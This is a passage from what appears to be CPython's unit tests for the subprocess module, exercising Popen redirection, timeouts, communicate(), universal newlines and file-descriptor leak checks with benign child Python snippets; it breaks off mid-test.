That frustrates tests trying to check stderr produced # from a spawned Python process. actual = support.strip_python_stderr(stderr) # strip_python_stderr also strips whitespace, so we do too. expected = expected.strip() self.assertEqual(actual, expected, msg) class PopenTestException(Exception): pass class PopenExecuteChildRaises(subprocess.Popen): """Popen subclass for testing cleanup of subprocess.PIPE filehandles when _execute_child fails. """ def _execute_child(self, *args, **kwargs): raise PopenTestException("Forced Exception for Test") class ProcessTestCase(BaseTestCase): def test_io_buffered_by_default(self): p = subprocess.Popen([sys.executable, "-c", "import sys; sys.exit(0)"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: self.assertIsInstance(p.stdin, io.BufferedIOBase) self.assertIsInstance(p.stdout, io.BufferedIOBase) self.assertIsInstance(p.stderr, io.BufferedIOBase) finally: p.stdin.close() p.stdout.close() p.stderr.close() p.wait() def test_io_unbuffered_works(self): p = subprocess.Popen([sys.executable, "-c", "import sys; sys.exit(0)"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=0) try: self.assertIsInstance(p.stdin, io.RawIOBase) self.assertIsInstance(p.stdout, io.RawIOBase) self.assertIsInstance(p.stderr, io.RawIOBase) finally: p.stdin.close() p.stdout.close() p.stderr.close() p.wait() def test_call_seq(self): # call() function with sequence argument rc = subprocess.call([sys.executable, "-c", "import sys; sys.exit(47)"]) self.assertEqual(rc, 47) def test_call_timeout(self): # call() function with timeout argument; we want to test that the child # process gets killed when the timeout expires. If the child isn't # killed, this call will deadlock since subprocess.call waits for the # child. self.assertRaises(subprocess.TimeoutExpired, subprocess.call, [sys.executable, "-c", "while True: pass"], timeout=0.1) def test_check_call_zero(self): # check_call() function with zero return code rc = subprocess.check_call([sys.executable, "-c", "import sys; sys.exit(0)"]) self.assertEqual(rc, 0) def test_check_call_nonzero(self): # check_call() function with non-zero return code with self.assertRaises(subprocess.CalledProcessError) as c: subprocess.check_call([sys.executable, "-c", "import sys; sys.exit(47)"]) self.assertEqual(c.exception.returncode, 47) def test_check_output(self): # check_output() function with zero return code output = subprocess.check_output( [sys.executable, "-c", "print('BDFL')"]) self.assertIn(b'BDFL', output) def test_check_output_nonzero(self): # check_call() function with non-zero return code with self.assertRaises(subprocess.CalledProcessError) as c: subprocess.check_output( [sys.executable, "-c", "import sys; sys.exit(5)"]) self.assertEqual(c.exception.returncode, 5) def test_check_output_stderr(self): # check_output() function stderr redirected to stdout output = subprocess.check_output( [sys.executable, "-c", "import sys; sys.stderr.write('BDFL')"], stderr=subprocess.STDOUT) self.assertIn(b'BDFL', output) def test_check_output_stdin_arg(self): # check_output() can be called with stdin set to a file tf = tempfile.TemporaryFile() self.addCleanup(tf.close) tf.write(b'pear') tf.seek(0) output = subprocess.check_output( [sys.executable, "-c", "import sys; sys.stdout.write(sys.stdin.read().upper())"], stdin=tf) self.assertIn(b'PEAR', output) def test_check_output_input_arg(self): # check_output() can be called with input set to a string output = subprocess.check_output( [sys.executable, "-c", "import sys; sys.stdout.write(sys.stdin.read().upper())"], input=b'pear') self.assertIn(b'PEAR', output) def test_check_output_stdout_arg(self): # check_output() refuses to accept 'stdout' argument with self.assertRaises(ValueError) as c: output = subprocess.check_output( [sys.executable, "-c", "print('will not be run')"], stdout=sys.stdout) self.fail("Expected ValueError when stdout arg supplied.") self.assertIn('stdout', c.exception.args[0]) def test_check_output_stdin_with_input_arg(self): # check_output() refuses to accept 'stdin' with 'input' tf = tempfile.TemporaryFile() self.addCleanup(tf.close) tf.write(b'pear') tf.seek(0) with self.assertRaises(ValueError) as c: output = subprocess.check_output( [sys.executable, "-c", "print('will not be run')"], stdin=tf, input=b'hare') self.fail("Expected ValueError when stdin and input args supplied.") self.assertIn('stdin', c.exception.args[0]) self.assertIn('input', c.exception.args[0]) def test_check_output_timeout(self): # check_output() function with timeout arg with self.assertRaises(subprocess.TimeoutExpired) as c: output = subprocess.check_output( [sys.executable, "-c", "import sys, time\n" "sys.stdout.write('BDFL')\n" "sys.stdout.flush()\n" "time.sleep(3600)"], # Some heavily loaded buildbots (sparc Debian 3.x) require # this much time to start and print. timeout=3) self.fail("Expected TimeoutExpired.") self.assertEqual(c.exception.output, b'BDFL') def test_call_kwargs(self): # call() function with keyword args newenv = os.environ.copy() newenv["FRUIT"] = "banana" rc = subprocess.call([sys.executable, "-c", 'import sys, os;' 'sys.exit(os.getenv("FRUIT")=="banana")'], env=newenv) self.assertEqual(rc, 1) def test_invalid_args(self): # Popen() called with invalid arguments should raise TypeError # but Popen.__del__ should not complain (issue #12085) with support.captured_stderr() as s: self.assertRaises(TypeError, subprocess.Popen, invalid_arg_name=1) argcount = subprocess.Popen.__init__.__code__.co_argcount too_many_args = [0] * (argcount + 1) self.assertRaises(TypeError, subprocess.Popen, *too_many_args) self.assertEqual(s.getvalue(), '') def test_stdin_none(self): # .stdin is None when not redirected p = subprocess.Popen([sys.executable, "-c", 'print("banana")'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.addCleanup(p.stdout.close) self.addCleanup(p.stderr.close) p.wait() self.assertEqual(p.stdin, None) def test_stdout_none(self): # .stdout is None when not redirected, and the child's stdout will # be inherited from the parent. In order to test this we run a # subprocess in a subprocess: # this_test # \-- subprocess created by this test (parent) # \-- subprocess created by the parent subprocess (child) # The parent doesn't specify stdout, so the child will use the # parent's stdout. This test checks that the message printed by the # child goes to the parent stdout. The parent also checks that the # child's stdout is None. See #11963. code = ('import sys; from subprocess import Popen, PIPE;' 'p = Popen([sys.executable, "-c", "print(\'test_stdout_none\')"],' ' stdin=PIPE, stderr=PIPE);' 'p.wait(); assert p.stdout is None;') p = subprocess.Popen([sys.executable, "-c", code], stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.addCleanup(p.stdout.close) self.addCleanup(p.stderr.close) out, err = p.communicate() self.assertEqual(p.returncode, 0, err) self.assertEqual(out.rstrip(), b'test_stdout_none') def test_stderr_none(self): # .stderr is None when not redirected p = subprocess.Popen([sys.executable, "-c", 'print("banana")'], stdin=subprocess.PIPE, stdout=subprocess.PIPE) self.addCleanup(p.stdout.close) self.addCleanup(p.stdin.close) p.wait() self.assertEqual(p.stderr, None) def _assert_python(self, pre_args, **kwargs): # We include sys.exit() to prevent the test runner from hanging # whenever python is found. args = pre_args + ["import sys; sys.exit(47)"] p = subprocess.Popen(args, **kwargs) p.wait() self.assertEqual(47, p.returncode) def test_executable(self): # Check that the executable argument works. # # On Unix (non-Mac and non-Windows), Python looks at args[0] to # determine where its standard library is, so we need the directory # of args[0] to be valid for the Popen() call to Python to succeed. # See also issue #16170 and issue #7774. doesnotexist = os.path.join(os.path.dirname(sys.executable), "doesnotexist") self._assert_python([doesnotexist, "-c"], executable=sys.executable) def test_executable_takes_precedence(self): # Check that the executable argument takes precedence over args[0]. # # Verify first that the call succeeds without the executable arg. pre_args = [sys.executable, "-c"] self._assert_python(pre_args) self.assertRaises(FileNotFoundError, self._assert_python, pre_args, executable="doesnotexist") @unittest.skipIf(mswindows, "executable argument replaces shell") def test_executable_replaces_shell(self): # Check that the executable argument replaces the default shell # when shell=True. self._assert_python([], executable=sys.executable, shell=True) # For use in the test_cwd* tests below. def _normalize_cwd(self, cwd): # Normalize an expected cwd (for Tru64 support). # We can't use os.path.realpath since it doesn't expand Tru64 {memb} # strings. See bug #1063571. with support.change_cwd(cwd): return os.getcwd() # For use in the test_cwd* tests below. def _split_python_path(self): # Return normalized (python_dir, python_base). python_path = os.path.realpath(sys.executable) return os.path.split(python_path) # For use in the test_cwd* tests below. def _assert_cwd(self, expected_cwd, python_arg, **kwargs): # Invoke Python via Popen, and assert that (1) the call succeeds, # and that (2) the current working directory of the child process # matches *expected_cwd*. p = subprocess.Popen([python_arg, "-c", "import os, sys; " "sys.stdout.write(os.getcwd()); " "sys.exit(47)"], stdout=subprocess.PIPE, **kwargs) self.addCleanup(p.stdout.close) p.wait() self.assertEqual(47, p.returncode) normcase = os.path.normcase self.assertEqual(normcase(expected_cwd), normcase(p.stdout.read().decode("utf-8"))) def test_cwd(self): # Check that cwd changes the cwd for the child process. temp_dir = tempfile.gettempdir() temp_dir = self._normalize_cwd(temp_dir) self._assert_cwd(temp_dir, sys.executable, cwd=temp_dir) @unittest.skipIf(mswindows, "pending resolution of issue #15533") def test_cwd_with_relative_arg(self): # Check that Popen looks for args[0] relative to cwd if args[0] # is relative. python_dir, python_base = self._split_python_path() rel_python = os.path.join(os.curdir, python_base) with support.temp_cwd() as wrong_dir: # Before calling with the correct cwd, confirm that the call fails # without cwd and with the wrong cwd. self.assertRaises(FileNotFoundError, subprocess.Popen, [rel_python]) self.assertRaises(FileNotFoundError, subprocess.Popen, [rel_python], cwd=wrong_dir) python_dir = self._normalize_cwd(python_dir) self._assert_cwd(python_dir, rel_python, cwd=python_dir) @unittest.skipIf(mswindows, "pending resolution of issue #15533") def test_cwd_with_relative_executable(self): # Check that Popen looks for executable relative to cwd if executable # is relative (and that executable takes precedence over args[0]). python_dir, python_base = self._split_python_path() rel_python = os.path.join(os.curdir, python_base) doesntexist = "somethingyoudonthave" with support.temp_cwd() as wrong_dir: # Before calling with the correct cwd, confirm that the call fails # without cwd and with the wrong cwd. self.assertRaises(FileNotFoundError, subprocess.Popen, [doesntexist], executable=rel_python) self.assertRaises(FileNotFoundError, subprocess.Popen, [doesntexist], executable=rel_python, cwd=wrong_dir) python_dir = self._normalize_cwd(python_dir) self._assert_cwd(python_dir, doesntexist, executable=rel_python, cwd=python_dir) def test_cwd_with_absolute_arg(self): # Check that Popen can find the executable when the cwd is wrong # if args[0] is an absolute path. python_dir, python_base = self._split_python_path() abs_python = os.path.join(python_dir, python_base) rel_python = os.path.join(os.curdir, python_base) with support.temp_dir() as wrong_dir: # Before calling with an absolute path, confirm that using a # relative path fails. self.assertRaises(FileNotFoundError, subprocess.Popen, [rel_python], cwd=wrong_dir) wrong_dir = self._normalize_cwd(wrong_dir) self._assert_cwd(wrong_dir, abs_python, cwd=wrong_dir) @unittest.skipIf(sys.base_prefix != sys.prefix, 'Test is not venv-compatible') def test_executable_with_cwd(self): python_dir, python_base = self._split_python_path() python_dir = self._normalize_cwd(python_dir) self._assert_cwd(python_dir, "somethingyoudonthave", executable=sys.executable, cwd=python_dir) @unittest.skipIf(sys.base_prefix != sys.prefix, 'Test is not venv-compatible') @unittest.skipIf(sysconfig.is_python_build(), "need an installed Python. See #7774") def test_executable_without_cwd(self): # For a normal installation, it should work without 'cwd' # argument. For test runs in the build directory, see #7774. self._assert_cwd(os.getcwd(), "somethingyoudonthave", executable=sys.executable) def test_stdin_pipe(self): # stdin redirection p = subprocess.Popen([sys.executable, "-c", 'import sys; sys.exit(sys.stdin.read() == "pear")'], stdin=subprocess.PIPE) p.stdin.write(b"pear") p.stdin.close() p.wait() self.assertEqual(p.returncode, 1) def test_stdin_filedes(self): # stdin is set to open file descriptor tf = tempfile.TemporaryFile() self.addCleanup(tf.close) d = tf.fileno() os.write(d, b"pear") os.lseek(d, 0, 0) p = subprocess.Popen([sys.executable, "-c", 'import sys; sys.exit(sys.stdin.read() == "pear")'], stdin=d) p.wait() self.assertEqual(p.returncode, 1) def test_stdin_fileobj(self): # stdin is set to open file object tf = tempfile.TemporaryFile() self.addCleanup(tf.close) tf.write(b"pear") tf.seek(0) p = subprocess.Popen([sys.executable, "-c", 'import sys; sys.exit(sys.stdin.read() == "pear")'], stdin=tf) p.wait() self.assertEqual(p.returncode, 1) def test_stdout_pipe(self): # stdout redirection p = subprocess.Popen([sys.executable, "-c", 'import sys; sys.stdout.write("orange")'], stdout=subprocess.PIPE) with p: self.assertEqual(p.stdout.read(), b"orange") def test_stdout_filedes(self): # stdout is set to open file descriptor tf = tempfile.TemporaryFile() self.addCleanup(tf.close) d = tf.fileno() p = subprocess.Popen([sys.executable, "-c", 'import sys; sys.stdout.write("orange")'], stdout=d) p.wait() os.lseek(d, 0, 0) self.assertEqual(os.read(d, 1024), b"orange") def test_stdout_fileobj(self): # stdout is set to open file object tf = tempfile.TemporaryFile() self.addCleanup(tf.close) p = subprocess.Popen([sys.executable, "-c", 'import sys; sys.stdout.write("orange")'], stdout=tf) p.wait() tf.seek(0) self.assertEqual(tf.read(), b"orange") def test_stderr_pipe(self): # stderr redirection p = subprocess.Popen([sys.executable, "-c", 'import sys; sys.stderr.write("strawberry")'], stderr=subprocess.PIPE) with p: self.assertStderrEqual(p.stderr.read(), b"strawberry") def test_stderr_filedes(self): # stderr is set to open file descriptor tf = tempfile.TemporaryFile() self.addCleanup(tf.close) d = tf.fileno() p = subprocess.Popen([sys.executable, "-c", 'import sys; sys.stderr.write("strawberry")'], stderr=d) p.wait() os.lseek(d, 0, 0) self.assertStderrEqual(os.read(d, 1024), b"strawberry") def test_stderr_fileobj(self): # stderr is set to open file object tf = tempfile.TemporaryFile() self.addCleanup(tf.close) p = subprocess.Popen([sys.executable, "-c", 'import sys; sys.stderr.write("strawberry")'], stderr=tf) p.wait() tf.seek(0) self.assertStderrEqual(tf.read(), b"strawberry") def test_stderr_redirect_with_no_stdout_redirect(self): # test stderr=STDOUT while stdout=None (not set) # - grandchild prints to stderr # - child redirects grandchild's stderr to its stdout # - the parent should get grandchild's stderr in child's stdout p = subprocess.Popen([sys.executable, "-c", 'import sys, subprocess;' 'rc = subprocess.call([sys.executable, "-c",' ' "import sys;"' ' "sys.stderr.write(\'42\')"],' ' stderr=subprocess.STDOUT);' 'sys.exit(rc)'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = p.communicate() #NOTE: stdout should get stderr from grandchild self.assertStderrEqual(stdout, b'42') self.assertStderrEqual(stderr, b'') # should be empty self.assertEqual(p.returncode, 0) def test_stdout_stderr_pipe(self): # capture stdout and stderr to the same pipe p = subprocess.Popen([sys.executable, "-c", 'import sys;' 'sys.stdout.write("apple");' 'sys.stdout.flush();' 'sys.stderr.write("orange")'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT) with p: self.assertStderrEqual(p.stdout.read(), b"appleorange") def test_stdout_stderr_file(self): # capture stdout and stderr to the same open file tf = tempfile.TemporaryFile() self.addCleanup(tf.close) p = subprocess.Popen([sys.executable, "-c", 'import sys;' 'sys.stdout.write("apple");' 'sys.stdout.flush();' 'sys.stderr.write("orange")'], stdout=tf, stderr=tf) p.wait() tf.seek(0) self.assertStderrEqual(tf.read(), b"appleorange") def test_stdout_filedes_of_stdout(self): # stdout is set to 1 (#1531862). # To avoid printing the text on stdout, we do something similar to # test_stdout_none (see above). The parent subprocess calls the child # subprocess passing stdout=1, and this test uses stdout=PIPE in # order to capture and check the output of the parent. See #11963. code = ('import sys, subprocess; ' 'rc = subprocess.call([sys.executable, "-c", ' ' "import os, sys; sys.exit(os.write(sys.stdout.fileno(), ' 'b\'test with stdout=1\'))"], stdout=1); ' 'assert rc == 18') p = subprocess.Popen([sys.executable, "-c", code], stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.addCleanup(p.stdout.close) self.addCleanup(p.stderr.close) out, err = p.communicate() self.assertEqual(p.returncode, 0, err) self.assertEqual(out.rstrip(), b'test with stdout=1') def test_stdout_devnull(self): p = subprocess.Popen([sys.executable, "-c", 'for i in range(10240):' 'print("x" * 1024)'], stdout=subprocess.DEVNULL) p.wait() self.assertEqual(p.stdout, None) def test_stderr_devnull(self): p = subprocess.Popen([sys.executable, "-c", 'import sys\n' 'for i in range(10240):' 'sys.stderr.write("x" * 1024)'], stderr=subprocess.DEVNULL) p.wait() self.assertEqual(p.stderr, None) def test_stdin_devnull(self): p = subprocess.Popen([sys.executable, "-c", 'import sys;' 'sys.stdin.read(1)'], stdin=subprocess.DEVNULL) p.wait() self.assertEqual(p.stdin, None) def test_env(self): newenv = os.environ.copy() newenv["FRUIT"] = "orange" with subprocess.Popen([sys.executable, "-c", 'import sys,os;' 'sys.stdout.write(os.getenv("FRUIT"))'], stdout=subprocess.PIPE, env=newenv) as p: stdout, stderr = p.communicate() self.assertEqual(stdout, b"orange") # Windows requires at least the SYSTEMROOT environment variable to start # Python @unittest.skipIf(sys.platform == 'win32', 'cannot test an empty env on Windows') @unittest.skipIf(sysconfig.get_config_var('Py_ENABLE_SHARED') is not None, 'the python library cannot be loaded ' 'with an empty environment') def test_empty_env(self): with subprocess.Popen([sys.executable, "-c", 'import os; ' 'print(list(os.environ.keys()))'], stdout=subprocess.PIPE, env={}) as p: stdout, stderr = p.communicate() self.assertIn(stdout.strip(), (b"[]", # Mac OS X adds __CF_USER_TEXT_ENCODING variable to an empty # environment b"['__CF_USER_TEXT_ENCODING']")) def test_communicate_stdin(self): p = subprocess.Popen([sys.executable, "-c", 'import sys;' 'sys.exit(sys.stdin.read() == "pear")'], stdin=subprocess.PIPE) p.communicate(b"pear") self.assertEqual(p.returncode, 1) def test_communicate_stdout(self): p = subprocess.Popen([sys.executable, "-c", 'import sys; sys.stdout.write("pineapple")'], stdout=subprocess.PIPE) (stdout, stderr) = p.communicate() self.assertEqual(stdout, b"pineapple") self.assertEqual(stderr, None) def test_communicate_stderr(self): p = subprocess.Popen([sys.executable, "-c", 'import sys; sys.stderr.write("pineapple")'], stderr=subprocess.PIPE) (stdout, stderr) = p.communicate() self.assertEqual(stdout, None) self.assertStderrEqual(stderr, b"pineapple") def test_communicate(self): p = subprocess.Popen([sys.executable, "-c", 'import sys,os;' 'sys.stderr.write("pineapple");' 'sys.stdout.write(sys.stdin.read())'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.addCleanup(p.stdout.close) self.addCleanup(p.stderr.close) self.addCleanup(p.stdin.close) (stdout, stderr) = p.communicate(b"banana") self.assertEqual(stdout, b"banana") self.assertStderrEqual(stderr, b"pineapple") def test_communicate_timeout(self): p = subprocess.Popen([sys.executable, "-c", 'import sys,os,time;' 'sys.stderr.write("pineapple\\n");' 'time.sleep(1);' 'sys.stderr.write("pear\\n");' 'sys.stdout.write(sys.stdin.read())'], universal_newlines=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.assertRaises(subprocess.TimeoutExpired, p.communicate, "banana", timeout=0.3) # Make sure we can keep waiting for it, and that we get the whole output # after it completes. (stdout, stderr) = p.communicate() self.assertEqual(stdout, "banana") self.assertStderrEqual(stderr.encode(), b"pineapple\npear\n") def test_communicate_timeout_large_output(self): # Test an expiring timeout while the child is outputting lots of data. p = subprocess.Popen([sys.executable, "-c", 'import sys,os,time;' 'sys.stdout.write("a" * (64 * 1024));' 'time.sleep(0.2);' 'sys.stdout.write("a" * (64 * 1024));' 'time.sleep(0.2);' 'sys.stdout.write("a" * (64 * 1024));' 'time.sleep(0.2);' 'sys.stdout.write("a" * (64 * 1024));'], stdout=subprocess.PIPE) self.assertRaises(subprocess.TimeoutExpired, p.communicate, timeout=0.4) (stdout, _) = p.communicate() self.assertEqual(len(stdout), 4 * 64 * 1024) # Test for the fd leak reported in http://bugs.python.org/issue2791. def test_communicate_pipe_fd_leak(self): for stdin_pipe in (False, True): for stdout_pipe in (False, True): for stderr_pipe in (False, True): options = {} if stdin_pipe: options['stdin'] = subprocess.PIPE if stdout_pipe: options['stdout'] = subprocess.PIPE if stderr_pipe: options['stderr'] = subprocess.PIPE if not options: continue p = subprocess.Popen((sys.executable, "-c", "pass"), **options) p.communicate() if p.stdin is not None: self.assertTrue(p.stdin.closed) if p.stdout is not None: self.assertTrue(p.stdout.closed) if p.stderr is not None: self.assertTrue(p.stderr.closed) def test_communicate_returns(self): # communicate() should return None if no redirection is active p = subprocess.Popen([sys.executable, "-c", "import sys; sys.exit(47)"]) (stdout, stderr) = p.communicate() self.assertEqual(stdout, None) self.assertEqual(stderr, None) def test_communicate_pipe_buf(self): # communicate() with writes larger than pipe_buf # This test will probably deadlock rather than fail, if # communicate() does not work properly. x, y = os.pipe() os.close(x) os.close(y) p = subprocess.Popen([sys.executable, "-c", 'import sys,os;' 'sys.stdout.write(sys.stdin.read(47));' 'sys.stderr.write("x" * %d);' 'sys.stdout.write(sys.stdin.read())' % support.PIPE_MAX_SIZE], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.addCleanup(p.stdout.close) self.addCleanup(p.stderr.close) self.addCleanup(p.stdin.close) string_to_write = b"a" * support.PIPE_MAX_SIZE (stdout, stderr) = p.communicate(string_to_write) self.assertEqual(stdout, string_to_write) def test_writes_before_communicate(self): # stdin.write before communicate() p = subprocess.Popen([sys.executable, "-c", 'import sys,os;' 'sys.stdout.write(sys.stdin.read())'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.addCleanup(p.stdout.close) self.addCleanup(p.stderr.close) self.addCleanup(p.stdin.close) p.stdin.write(b"banana") (stdout, stderr) = p.communicate(b"split") self.assertEqual(stdout, b"bananasplit") self.assertStderrEqual(stderr, b"") def test_universal_newlines(self): p = subprocess.Popen([sys.executable, "-c", 'import sys,os;' + SETBINARY + 'buf = sys.stdout.buffer;' 'buf.write(sys.stdin.readline().encode());' 'buf.flush();' 'buf.write(b"line2\\n");' 'buf.flush();' 'buf.write(sys.stdin.read().encode());' 'buf.flush();' 'buf.write(b"line4\\n");' 'buf.flush();' 'buf.write(b"line5\\r\\n");' 'buf.flush();' 'buf.write(b"line6\\r");' 'buf.flush();' 'buf.write(b"\\nline7");' 'buf.flush();' 'buf.write(b"\\nline8");'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, universal_newlines=1) with p: p.stdin.write("line1\n") p.stdin.flush() self.assertEqual(p.stdout.readline(), "line1\n") p.stdin.write("line3\n") p.stdin.close() self.addCleanup(p.stdout.close) self.assertEqual(p.stdout.readline(), "line2\n") self.assertEqual(p.stdout.read(6), "line3\n") self.assertEqual(p.stdout.read(), "line4\nline5\nline6\nline7\nline8") def test_universal_newlines_communicate(self): # universal newlines through communicate() p = subprocess.Popen([sys.executable, "-c", 'import sys,os;' + SETBINARY + 'buf = sys.stdout.buffer;' 'buf.write(b"line2\\n");' 'buf.flush();' 'buf.write(b"line4\\n");' 'buf.flush();' 'buf.write(b"line5\\r\\n");' 'buf.flush();' 'buf.write(b"line6\\r");' 'buf.flush();' 'buf.write(b"\\nline7");' 'buf.flush();' 'buf.write(b"\\nline8");'], stderr=subprocess.PIPE, stdout=subprocess.PIPE, universal_newlines=1) self.addCleanup(p.stdout.close) self.addCleanup(p.stderr.close) (stdout, stderr) = p.communicate() self.assertEqual(stdout, "line2\nline4\nline5\nline6\nline7\nline8") def test_universal_newlines_communicate_stdin(self): # universal newlines through communicate(), with only stdin p = subprocess.Popen([sys.executable, "-c", 'import sys,os;' + SETBINARY + textwrap.dedent(''' s = sys.stdin.readline() assert s == "line1\\n", repr(s) s = sys.stdin.read() assert s == "line3\\n", repr(s) ''')], stdin=subprocess.PIPE, universal_newlines=1) (stdout, stderr) = p.communicate("line1\nline3\n") self.assertEqual(p.returncode, 0) def test_universal_newlines_communicate_input_none(self): # Test communicate(input=None) with universal newlines. # # We set stdout to PIPE because, as of this writing, a different # code path is tested when the number of pipes is zero or one. p = subprocess.Popen([sys.executable, "-c", "pass"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, universal_newlines=True) p.communicate() self.assertEqual(p.returncode, 0) def test_universal_newlines_communicate_stdin_stdout_stderr(self): # universal newlines through communicate(), with stdin, stdout, stderr p = subprocess.Popen([sys.executable, "-c", 'import sys,os;' + SETBINARY + textwrap.dedent(''' s = sys.stdin.buffer.readline() sys.stdout.buffer.write(s) sys.stdout.buffer.write(b"line2\\r") sys.stderr.buffer.write(b"eline2\\n") s = sys.stdin.buffer.read() sys.stdout.buffer.write(s) sys.stdout.buffer.write(b"line4\\n") sys.stdout.buffer.write(b"line5\\r\\n") sys.stderr.buffer.write(b"eline6\\r") sys.stderr.buffer.write(b"eline7\\r\\nz") ''')], stdin=subprocess.PIPE, stderr=subprocess.PIPE, stdout=subprocess.PIPE, universal_newlines=True) self.addCleanup(p.stdout.close) self.addCleanup(p.stderr.close) (stdout, stderr) = p.communicate("line1\nline3\n") self.assertEqual(p.returncode, 0) self.assertEqual("line1\nline2\nline3\nline4\nline5\n", stdout) # Python debug build push something like "[42442 refs]\n" # to stderr at exit of subprocess. # Don't use assertStderrEqual because it strips CR and LF from output. self.assertTrue(stderr.startswith("eline2\neline6\neline7\n")) def test_universal_newlines_communicate_encodings(self): # Check that universal newlines mode works for various encodings, # in particular for encodings in the UTF-16 and UTF-32 families. # See issue #15595. # # UTF-16 and UTF-32-BE are sufficient to check both with BOM and # without, and UTF-16 and UTF-32. for encoding in ['utf-16', 'utf-32-be']: code = ("import sys; " r"sys.stdout.buffer.write('1\r\n2\r3\n4'.encode('%s'))" % encoding) args = [sys.executable, '-c', code] # We set stdin to be non-None because, as of this writing, # a different code path is used when the number of pipes is # zero or one. popen = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, encoding=encoding) stdout, stderr = popen.communicate(input='') self.assertEqual(stdout, '1\n2\n3\n4') def test_communicate_errors(self): for errors, expected in [ ('ignore', ''), ('replace', '\ufffd\ufffd'), ('surrogateescape', '\udc80\udc80'), ('backslashreplace', '\\x80\\x80'), ]: code = ("import sys; " r"sys.stdout.buffer.write(b'[\x80\x80]')") args = [sys.executable, '-c', code] # We set stdin to be non-None because, as of this writing, # a different code path is used when the number of pipes is # zero or one. popen = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, encoding='utf-8', errors=errors) stdout, stderr = popen.communicate(input='') self.assertEqual(stdout, '[{}]'.format(expected)) def test_no_leaking(self): # Make sure we leak no resources if not mswindows: max_handles = 1026 # too much for most UNIX systems else: max_handles = 2050 # too much for (at least some) Windows setups handles = [] tmpdir = tempfile.mkdtemp() try: for i in range(max_handles): try: tmpfile = os.path.join(tmpdir, support.TESTFN) handles.append(os.open(tmpfile, os.O_WRONLY|os.O_CREAT)) except OSError as e: if e.errno != errno.EMFILE: raise break else: self.skipTest("failed to reach the file descriptor limit " "(tried %d)" % max_handles) # Close a couple of them (should be enough for a subprocess) for i in range(10): os.close(handles.pop()) # Loop creating some subprocesses. If one of them leaks some fds, # the next loop iteration will fail by reaching the max fd limit. for i in range(15): p = subprocess.Popen([sys.executable, "-c", "import sys;" "sys.stdout.write(sys.stdin.read())"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) data = p.communicate(b"lime")[0] self.assertEqual(data, b"lime") finally: for h in handles: os.close(h) shutil.rmtree(tmpdir) def test_list2cmdline(self): self.assertEqual(subprocess.list2cmdline(['a b c', 'd', 'e']), '"a b c" d e') self.assertEqual(subprocess.list2cmdline(['ab"c', '\\', 'd']), 'ab\\"c \\ d') self.assertEqual(subprocess.list2cmdline(['ab"c', ' \\', 'd']), 'ab\\"c " \\\\" d') self.assertEqual(subprocess.list2cmdline(['a\\\\\\b', 'de fg', 'h']), 'a\\\\\\b "de fg" h') self.assertEqual(subprocess.list2cmdline(['a\\"b', 'c', 'd']), 'a\\\\\\"b c d') self.assertEqual(subprocess.list2cmdline(['a\\\\b c', 'd', 'e']), '"a\\\\b c" d e') self.assertEqual(subprocess.list2cmdline(['a\\\\b\\ c', 'd', 'e']), '"a\\\\b\\ c" d e') self.assertEqual(subprocess.list2cmdline(['ab', '']), 'ab ""') def test_poll(self): p = subprocess.Popen([sys.executable, "-c", "import os; os.read(0, 1)"], stdin=subprocess.PIPE) self.addCleanup(p.stdin.close) self.assertIsNone(p.poll()) os.write(p.stdin.fileno(), b'A') p.wait() # Subsequent invocations should just return the returncode self.assertEqual(p.poll(), 0) def test_wait(self): p = subprocess.Popen([sys.executable, "-c", "pass"]) self.assertEqual(p.wait(), 0) # Subsequent invocations should just return the returncode self.assertEqual(p.wait(), 0) def test_wait_timeout(self): p = subprocess.Popen([sys.executable, "-c", "import time; time.sleep(0.3)"]) with self.assertRaises(subprocess.TimeoutExpired) as c: p.wait(timeout=0.0001) self.assertIn("0.0001", str(c.exception)) # For coverage of __str__. # Some heavily loaded buildbots (sparc Debian 3.x) require this much # time to start. self.assertEqual(p.wait(timeout=3), 0) def test_invalid_bufsize(self): # an invalid type of the bufsize argument should raise # TypeError. with self.assertRaises(TypeError): subprocess.Popen([sys.executable, "-c", "pass"], "orange") def test_bufsize_is_none(self): # bufsize=None should be the same as bufsize=0. p = subprocess.Popen([sys.executable, "-c", "pass"], None) self.assertEqual(p.wait(), 0) # Again with keyword arg p = subprocess.Popen([sys.executable, "-c", "pass"], bufsize=None) self.assertEqual(p.wait(), 0) def _test_bufsize_equal_one(self, line, expected, universal_newlines): # subprocess may deadlock with bufsize=1, see issue #21332 with subprocess.Popen([sys.executable, "-c", "import sys;" "sys.stdout.write(sys.stdin.readline());" "sys.stdout.flush()"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, bufsize=1, universal_newlines=universal_newlines) as p: p.stdin.write(line) # expect that it flushes the line in text mode os.close(p.stdin.fileno()) # close it without flushing the buffer read_line = p.stdout.readline() try: p.stdin.close() except OSError: pass p.stdin = None self.assertEqual(p.returncode, 0) self.assertEqual(read_line, expected) def test_bufsize_equal_one_text_mode(self): # line is flushed in text mode with bufsize=1. # we should get the full line in return line = "line\n" self._test_bufsize_equal_one(line, line, universal_newlines=True) def test_bufsize_equal_one_binary_mode(self): # line is not flushed in binary mode with bufsize=1. # we should get empty response line = b'line' + os.linesep.encode() # assume ascii-based locale self._test_bufsize_equal_one(line, b'', universal_newlines=False) def test_leaking_fds_on_error(self): # see bug #5179: Popen leaks file descriptors to PIPEs if # the child fails to execute; this will eventually exhaust # the maximum number of open fds. 1024 seems a very common # value for that limit, but Windows has 2048, so we loop # 1024 times (each call leaked two fds). for i in range(1024): with self.assertRaises(OSError) as c: 